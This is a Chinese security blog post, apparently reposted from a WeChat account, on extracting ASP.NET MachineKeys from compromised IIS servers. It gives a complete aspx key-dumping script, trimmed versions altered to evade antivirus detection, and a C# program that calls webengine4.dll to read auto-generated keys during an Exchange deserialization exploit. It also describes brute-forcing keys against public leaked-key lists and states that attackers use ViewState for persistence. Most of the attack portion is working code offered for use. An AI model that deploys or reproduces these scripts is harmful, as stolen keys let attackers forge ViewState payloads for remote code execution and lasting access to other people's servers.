【ViewState 指北】获取 MachineKey

admin 2024年2月18日15:51:21评论48 views字数 13311阅读44分22秒阅读模式

0x00 前言

IIS 的 MachineKey 通常是记录在网站目录下的 web.config目录下。如果是由运行时自动生成的,则需要通过脚本或者程序执行来获取。当然,还有另一种情况:如果在安装时,默认存在指定的 MachineKey,那么可以通过收集 MachineKey,进行爆破,有概率匹配得上。

本文将介绍 3 种方法来获取 MachineKey:

  1. 1. 在拥有权限的情况下,通过 Web 环境下获取 Key(即使用 aspx 脚本)。

  2. 2. 在拥有权限的情况下,通过执行程序,调用 EcbCallISAPI获取 Key。

  3. 3. 在没有权限的情况下,尝试收集 Key 进行枚举(工具已经编写完成)。

由于多数情况下,ViewState 是经常用于维权,因此第一种方法在之前是一直用着的,但会存在被杀的情况,因此这里也给出一个解决方案。而第二种方法,则较为适用于存在反序列化漏洞时使用。第三种方法则是纯运气。

PS:可以上传 web.config 时直接传呗

0x01 Web 环境下获取 Key

下面是原版本的获取脚本


<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">

    public void GetAutoMachineKeys()
    {
        var netVersion = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\""Version", Microsoft.Win32.RegistryValueKind.ExpandString); 
        if(netVersion!=null
            Response.Write("<b>NetVersion: </b>" + netVersion); 
            Response.Write("<br/><hr/>");
        // ==========================================================================
        var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
        var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(nullnew object[0]);
        Response.Write("<b>ValidationKey:</b> "+config.ValidationKey);
        Response.Write("<br/>");
        Response.Write("<b>ValidationAlg:</b> "+ config.Validation);
        Response.Write("<br/>");
        Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey);
        Response.Write("<br/>");
        Response.Write("<b>DecryptionAlg:</b> "+ config.Decryption);
        Response.Write("<br/>");
        Response.Write("<b>CompatibilityMode:</b> "+config.CompatibilityMode); 
        Response.Write("<br/><hr/>");
        // ==========================================================================
        var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
        var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(
            typeMachineKeyMasterKeyProvider.FullName, false,
            System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic,
            nullnew object[] { config, nullnullnullnull }, nullnull);
        var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
        byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
        var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
        byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
        // ==========================================================================
        Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
        byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
        int validationKeySize = 64;
        int decryptionKeySize = 24;
        byte[] validationKeyAuto = new byte[validationKeySize];
        byte[] decryptionKeyAuto = new byte[decryptionKeySize];
        System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
        System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
        string appName = HttpRuntime.AppDomainAppVirtualPath;
        string appId = HttpRuntime.AppDomainAppId;
        Response.Write("<br/>");
        Response.Write("<b>appName:</b> "+appName);
        Response.Write("<br/>");
        Response.Write("<b>appId:</b> "+appId);
        Response.Write("<br/>");
        Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
        Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-"string.Empty));
        Response.Write("<br/>");
        Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
        Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-"string.Empty));
        Response.Write("<br/>");

        byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
        int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
        _validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
        _validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
        _validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
        _validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
        Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
        Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-"string.Empty));
        Response.Write("<br/>");

        byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
        int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
        _validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
        _validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
        _validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
        _validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
        Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
        Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-"string.Empty));
        Response.Write("<br/>");

        byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
        _decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
        _decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
        _decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
        _decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
        Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
        Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-"string.Empty));
        Response.Write("<br/>");

        byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray();
        _decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
        _decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
        _decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
        _decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
        Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
        Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-"string.Empty));
        Response.Write("<br/><hr/>");
        // ==========================================================================
        Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
        Response.Write("<br/>");
        Response.Write("<b>validationAlg:</b> "+config.Validation);
        Response.Write("<br/>");
        Response.Write("<b>validationKey:</b> "+BitConverter.ToString(_validationKey).Replace("-"string.Empty));
        Response.Write("<br/>");
        Response.Write("<b>decryptionAlg:</b> "+config.Decryption);
        Response.Write("<br/>");
        Response.Write("<b>decryptionKey:</b> "+BitConverter.ToString(_decryptionKey).Replace("-"string.Empty));
        Response.Write("<br/><hr/>");
    }

    public void Page_load()
    {
        Response.ContentEncoding = System.Text.Encoding.Default;
        Response.Write("<p style='color:#ff0000;text-align:center;'>获取 .NET 框架的机器密钥</p>");
        Response.Write("<p>1. 本程序仅供实验学习 ASP.NET ViewState,请勿违法滥用!</p>");
        Response.Write("<p>2. 适用场景:获取 .NET 框架权限后均适用!</p>");
        Response.Write("<p>3. 公众号:RowTeam</p>");
        Response.Write("<br/><hr/>");
        GetAutoMachineKeys();
    }
</script>

但是这个脚本往往会被杀得不行,原因在于:

  • • 注册表查询

  • • 调用System.Reflection.Assembly.Load

如果 CompatibilityMode: Framework20SP1,那么我们直接调过这个步骤,直接使用下面的代码获取输出即可:

byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
string validationKey = BitConverter.ToString(autogenKeys, 064).Replace("-""");
string decryptionKey = BitConverter.ToString(autogenKeys, 6424).Replace("-""");
Response.Write(validationKey);
Response.Write(decryptionKey);

将 autogenKeys 通过源脚本的代码进行还原即可。

如果 CompatibilityMode: Framework45,则如下。

<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Page Language="C#"%>
<%
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", BindingFlags.NonPublic | BindingFlags.Static).GetValue(null);

Type t = typeof(System.Web.Security.DefaultAuthenticationEventArgs).Assembly.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
ConstructorInfo ctor = t.GetConstructors(BindingFlags.Instance | BindingFlags.NonPublic)[0];

Type ckey = typeof(System.Web.Security.DefaultAuthenticationEventArgs).Assembly.GetType("System.Web.Security.Cryptography.CryptographicKey");
ConstructorInfo ckeyCtor = ckey.GetConstructors(BindingFlags.Instance | BindingFlags.Public)[0];
Object ckeyobj = ckeyCtor.Invoke(new object[] { autogenKeys });
object o = ctor.Invoke(new object[] { new MachineKeySection(), nullnull, ckeyobj, null });
var encKey = t.GetMethod("GetEncryptionKey").Invoke(o, null);
byte[] encBytes = ckey.GetMethod("GetKeyMaterial").Invoke(encKey, nullas byte[];
var vldKey = t.GetMethod("GetValidationKey").Invoke(o, null);
byte[] vldBytes = ckey.GetMethod("GetKeyMaterial").Invoke(vldKey, nullas byte[];
string decryptionKey = BitConverter.ToString(encBytes);
decryptionKey = decryptionKey.Replace("-""");
string validationKey = BitConverter.ToString(vldBytes);
validationKey = validationKey.Replace("-""");
%>

<machineKey
validationKey="<%=validationKey%>"
decryptionKey="<%=decryptionKey%>"
/>

0x02 非 Web 环境下获取 Key

写这个小节的原因是:在一次项目中,对 Exchange 进行反序列化漏洞利用中,无法落地 aspx 文件获取 Key,因此必要时候需要执行 exe 读取 web.config 文件。那么如果是自动生成的 Key,在 web.config 中是没有记录的,因此,需要获取自动生成的 Key。为了以防万一,还需要获取 web.config 的内容,但获取 web.config 的就自己写吧。

由于 HttpApplication是通过从 webengine4.dll 中调用 SetAutogenKeys() 的本机方法来获取其密钥。我们也可以自己调用 DLL。但我们需要知道的应用程序路径是什么。下面是获取 20sp1的 key 代码:

[DllImport(@"C:WindowsMicrosoft.NETFrameworkv4.0.30319webengine4.dll")]
internal static extern int EcbCallISAPI(IntPtr pECB, int iFunction, byte[] bufferIn, int sizeIn, byte[] bufferOut, int sizeOut);

void Main()
{
    string appPath = "/owa";
    byte[] genKeys = new byte[1024];
    byte[] autogenKeys = new byte[1024];

    int res = EcbCallISAPI(IntPtr.Zero, 4, genKeys, genKeys.Length, autogenKeys, autogenKeys.Length);

    if (res == 1) {
        // Same as above
        int validationKeySize = 64;
        int decryptionKeySize = 24;

        byte[] validationKey = new byte[validationKeySize];
        byte[] decryptionKey = new byte[decryptionKeySize];

        Buffer.BlockCopy(autogenKeys, 0, validationKey, 0, validationKeySize);
        Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKey, 0, decryptionKeySize);

        int pathHash = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appPath);
        validationKey[0] = (byte)(pathHash & 0xff);
        validationKey[1] = (byte)((pathHash & 0xff00) >> 8);
        validationKey[2] = (byte)((pathHash & 0xff0000) >> 16);
        validationKey[3] = (byte)((pathHash & 0xff000000) >> 24);

        decryptionKey[0] = (byte)(pathHash & 0xff);
        decryptionKey[1] = (byte)((pathHash & 0xff00) >> 8);
        decryptionKey[2] = (byte)((pathHash & 0xff0000) >> 16);
        decryptionKey[3] = (byte)((pathHash & 0xff000000) >> 24);

        Console.WriteLine("DecryptionKey: {0}", decryptionKey.Aggregate(new StringBuilder(), (acc, c) => acc.AppendFormat("{0:x2}", c), acc => acc.ToString()));
        Console.WriteLine("ValidationKey: {0}", validationKey.Aggregate(new StringBuilder(), (acc, c) => acc.AppendFormat("{0:x2}", c), acc => acc.ToString()));
    }
}

0x03 枚举 Key

该功能已经集成到 SharpViewStateKing 中。该模块的整体思路如下:

所有的序列化数据,默认情况下都是 ViewState = Base64(data + hash),因此对所有的签名算法及对应的 hash 长度,对 ViewState 将 data 和 hash 进行拆分。 然后使用 key 对 data 进行签名,比较两个签名是否一致即可得到 key 和签名算法。

这也是 AspDotNetWrapper 的整体思路,它解决了基于 CompatibilityMode = Framework20SP1 的加密 SHA 系列校验,所以实际上它是不完善的,因此以下场景无法使用:

  1. 1. 签名算法是 MD5时。

  2. 2. 强制加密时。

  3. 3. CompatibilityMode = Framework45 时。

还好我和小伙伴在编写 SharpViewStateKing 时对原理进行了研究,才发现实际情况没有这么简单。所以啊,工具选用不对,是会错失一些机会的。SharpViewStateKing 目前已经解决了上面的 4 个场景。 这里就有疑问了,Key 哪里来的?你可以在 Github 上搜索公开的:

搜索条件:
https://github.com/search?q=validationKey%3D+path%3A*.config&type=code

海子哥的:
https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState.txt

AspDotNetWrapper的:
https://github.com/NotSoSecure/Blacklist3r/blob/master/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt
  • • MD5 场景

【ViewState 指北】获取 MachineKey
  • • 强制加密场景

【ViewState 指北】获取 MachineKey
  • • NET45 场景

【ViewState 指北】获取 MachineKey
image.png

原文始发于微信公众号(RowTeam):【ViewState 指北】获取 MachineKey

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日15:51:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【ViewState 指北】获取 MachineKeyhttps://cn-sec.com/archives/2502146.html

发表评论

匿名网友 填写信息